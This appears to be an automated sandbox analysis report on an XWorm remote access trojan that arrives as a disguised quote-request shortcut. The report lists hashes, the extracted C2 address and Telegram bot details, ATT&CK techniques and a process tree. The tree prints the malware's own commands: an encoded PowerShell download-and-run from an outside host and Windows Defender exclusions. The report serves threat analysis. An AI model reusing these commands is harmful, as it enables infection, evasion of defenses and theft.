xworm | ff9878910157dee6cdb0b7eebdd04744db7b8dba7e1b502b11dd6edbc831d3c7

Analysis

max time kernel
114s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-11-2024 00:43

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General

Target

Saturday Nov 16 RFQ 120HQ.lnk
Size

215KB
MD5

614423a0f5b8a21a0ae2d957b46cef3c
SHA1

529c5271a1b4cef778dc48b2dd6edfeddd24c38c
SHA256

506db308fda3797a3474eab41654ba925cd3ba3582f638b92400ba3767294de6
SHA512

6dd13c5927b99c804e20ed0412d7279c40ddbce7c626e536c2d4a11e6455203c82780db5d53fda5552fdf590633c76e83c0c6aaaf83e3c2d528e9e5a59298af4
SSDEEP

6144:M+HZ4aKBKefy7xCfE2CQT7FSwehrQWatIJEr0a6NQ:M+mGwy70fHCQThS9Z2aaMQ

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

185.162.75.19:7000

Mutex

AyJZQz7cchpO5oie

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot6460930418:AAGMLktYHOrDqJ5cDoT5GtLWliQfxKax0DI/sendMessage?chat_id=6746471576

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4408-41-0x0000000032CD0000-0x0000000032CE8000-memory.dmp	family_xworm
behavioral2/memory/4408-43-0x0000000032CD0000-0x0000000032CE2000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	264	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1808	powershell.exe
1220	powershell.exe
2720	powershell.exe
264	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\myscript.lnk	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2720 set thread context of 4408	2720	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regbrowsers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4408	aspnet_regbrowsers.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
264	powershell.exe
264	powershell.exe
2720	powershell.exe
2720	powershell.exe
1808	powershell.exe
1808	powershell.exe
1220	powershell.exe
1220	powershell.exe
4408	aspnet_regbrowsers.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	264	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	4408	aspnet_regbrowsers.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	4408	aspnet_regbrowsers.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4408	aspnet_regbrowsers.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 264	4380	cmd.exe	84
PID 4380 wrote to memory of 264	4380	cmd.exe	84
PID 264 wrote to memory of 5024	264	powershell.exe	88
PID 264 wrote to memory of 5024	264	powershell.exe	88
PID 5024 wrote to memory of 3404	5024	WScript.exe	89
PID 5024 wrote to memory of 3404	5024	WScript.exe	89
PID 3404 wrote to memory of 2720	3404	cmd.exe	91
PID 3404 wrote to memory of 2720	3404	cmd.exe	91
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 2720 wrote to memory of 4408	2720	powershell.exe	92
PID 4408 wrote to memory of 1808	4408	aspnet_regbrowsers.exe	97
PID 4408 wrote to memory of 1808	4408	aspnet_regbrowsers.exe	97
PID 4408 wrote to memory of 1808	4408	aspnet_regbrowsers.exe	97
PID 4408 wrote to memory of 1220	4408	aspnet_regbrowsers.exe	100
PID 4408 wrote to memory of 1220	4408	aspnet_regbrowsers.exe	100
PID 4408 wrote to memory of 1220	4408	aspnet_regbrowsers.exe	100

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Saturday Nov 16 RFQ 120HQ.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -NoExit -Command "$6VcZuEYj = 'aXdyIC1VcmkgaHR0cHM6Ly9xdS5heC93VkVQei5wZGYgLU91dEZpbGUgJGVudjpURU1QXFNhdHVyZGF5IE5vdiAxNiBSRlEgMTIwSFEucGRmO1N0YXJ0LVByb2Nlc3MgJGVudjpURU1QXFNhdHVyZGF5IE5vdiAxNiBSRlEgMTIwSFEucGRmO2l3ciAtVXJpIGh0dHBzOi8vcXUuYXgvdHdCa1guanMgLU91dEZpbGUgJGVudjpURU1QXGFVSXFLcC5qcztTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxhVUlxS3AuanM7JGNsPSdNU093U0YnOyRjbD0nTVNPd1NGJztFeGl0';$ZSr2rv13TMa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($6VcZuEYj));Invoke-Expression -Command $ZSr2rv13TMa"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\aUIqKp.js"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\UPDATE.ps1""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3404
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\UPDATE.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2720
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'aspnet_regbrowsers.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
a6a131e25bde6c50ec71dfd7ccdc2d95

SHA1
17c085ed9c9cb1791aafbbdbf137ca98afaafcf8

SHA256
5f61f7aac6a983fce3e6e8e0228477d28741f3f14d743f94945d6452083c8867

SHA512
6dcd8e0f274bfb641b60bb1df59dfb3845503be15cf773cac07ebe7b6c156294745e13cdde62b704e658f29eed0c8d089c84798af032fee20ca7c16e2bbe67f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r3pgmthv.zp2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aUIqKp.js

Filesize
199KB

MD5
4ceb1057e744898bc02ffe2a9daa061a

SHA1
ccc89e9d665bc204347fbc7346957ed65ef983ba

SHA256
d2c8b31ed90c86ec267b673178ce22b36096ff8d705cbf9b5fa8ed4bac87550b

SHA512
3a71dba04527b03bb0ee1384f92b33eaa3de7bb3f1521997fd3151ef9ce553bfb5608054919b37c35f0f6f611acf59805949e586e52e3ca2cfc85e57f246c87a

Download Submit
C:\Users\Admin\AppData\Roaming\UPDATE.ps1

Filesize
196KB

MD5
67ea1d562d1ed27916829a569dbc7fb5

SHA1
7d083620f91219c67b7e0a2925a3cb8c987d00ee

SHA256
61b54b21f003b1133e63b76fe99a0750303e17a7cc93ea4535c5533b028b1781

SHA512
5d03188a7e5e3fd5f9702b9ac2255cc8d5f23dc0d101f5ffb84d411d0c89021af704383f8f2ee88af3a696a7576b8a338fa4140d9396ff6a6e299f1b511d39b4

Download Submit
memory/264-14-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/264-18-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/264-24-0x000001FB35A20000-0x000001FB35C3C000-memory.dmp

Filesize
2.1MB

Download
memory/264-26-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/264-17-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/264-16-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/264-15-0x000001FB36130000-0x000001FB36174000-memory.dmp

Filesize
272KB

Download
memory/264-2-0x00007FF814CB3000-0x00007FF814CB5000-memory.dmp

Filesize
8KB

Download
memory/264-13-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/264-12-0x000001FB35D70000-0x000001FB35D92000-memory.dmp

Filesize
136KB

Download
memory/1220-98-0x0000000070370000-0x00000000703BC000-memory.dmp

Filesize
304KB

Download
memory/1808-49-0x00000000060D0000-0x0000000006136000-memory.dmp

Filesize
408KB

Download
memory/1808-76-0x0000000008060000-0x00000000086DA000-memory.dmp

Filesize
6.5MB

Download
memory/1808-47-0x0000000005760000-0x0000000005782000-memory.dmp

Filesize
136KB

Download
memory/1808-48-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/1808-45-0x0000000002E10000-0x0000000002E46000-memory.dmp

Filesize
216KB

Download
memory/1808-59-0x0000000006240000-0x0000000006594000-memory.dmp

Filesize
3.3MB

Download
memory/1808-84-0x0000000007D40000-0x0000000007D48000-memory.dmp

Filesize
32KB

Download
memory/1808-61-0x00000000066F0000-0x000000000670E000-memory.dmp

Filesize
120KB

Download
memory/1808-62-0x00000000067A0000-0x00000000067EC000-memory.dmp

Filesize
304KB

Download
memory/1808-63-0x0000000006CC0000-0x0000000006CF2000-memory.dmp

Filesize
200KB

Download
memory/1808-64-0x0000000070370000-0x00000000703BC000-memory.dmp

Filesize
304KB

Download
memory/1808-74-0x00000000078B0000-0x00000000078CE000-memory.dmp

Filesize
120KB

Download
memory/1808-75-0x0000000007910000-0x00000000079B3000-memory.dmp

Filesize
652KB

Download
memory/1808-46-0x00000000059C0000-0x0000000005FE8000-memory.dmp

Filesize
6.2MB

Download
memory/1808-77-0x0000000007A20000-0x0000000007A3A000-memory.dmp

Filesize
104KB

Download
memory/1808-78-0x0000000007A90000-0x0000000007A9A000-memory.dmp

Filesize
40KB

Download
memory/1808-79-0x0000000007CA0000-0x0000000007D36000-memory.dmp

Filesize
600KB

Download
memory/1808-80-0x0000000007C20000-0x0000000007C31000-memory.dmp

Filesize
68KB

Download
memory/1808-81-0x0000000007C50000-0x0000000007C5E000-memory.dmp

Filesize
56KB

Download
memory/1808-82-0x0000000007C60000-0x0000000007C74000-memory.dmp

Filesize
80KB

Download
memory/1808-83-0x0000000007D60000-0x0000000007D7A000-memory.dmp

Filesize
104KB

Download
memory/2720-40-0x0000016EDAD30000-0x0000016EDAD5A000-memory.dmp

Filesize
168KB

Download
memory/4408-44-0x00000000058C0000-0x000000000595C000-memory.dmp

Filesize
624KB

Download
memory/4408-43-0x0000000032CD0000-0x0000000032CE2000-memory.dmp

Filesize
72KB

Download
memory/4408-41-0x0000000032CD0000-0x0000000032CE8000-memory.dmp

Filesize
96KB

Download
memory/4408-109-0x00000000065F0000-0x0000000006B94000-memory.dmp

Filesize
5.6MB

Download
memory/4408-110-0x0000000006330000-0x00000000063C2000-memory.dmp

Filesize
584KB

Download
memory/4408-111-0x00000000062B0000-0x00000000062BA000-memory.dmp

Filesize
40KB

Download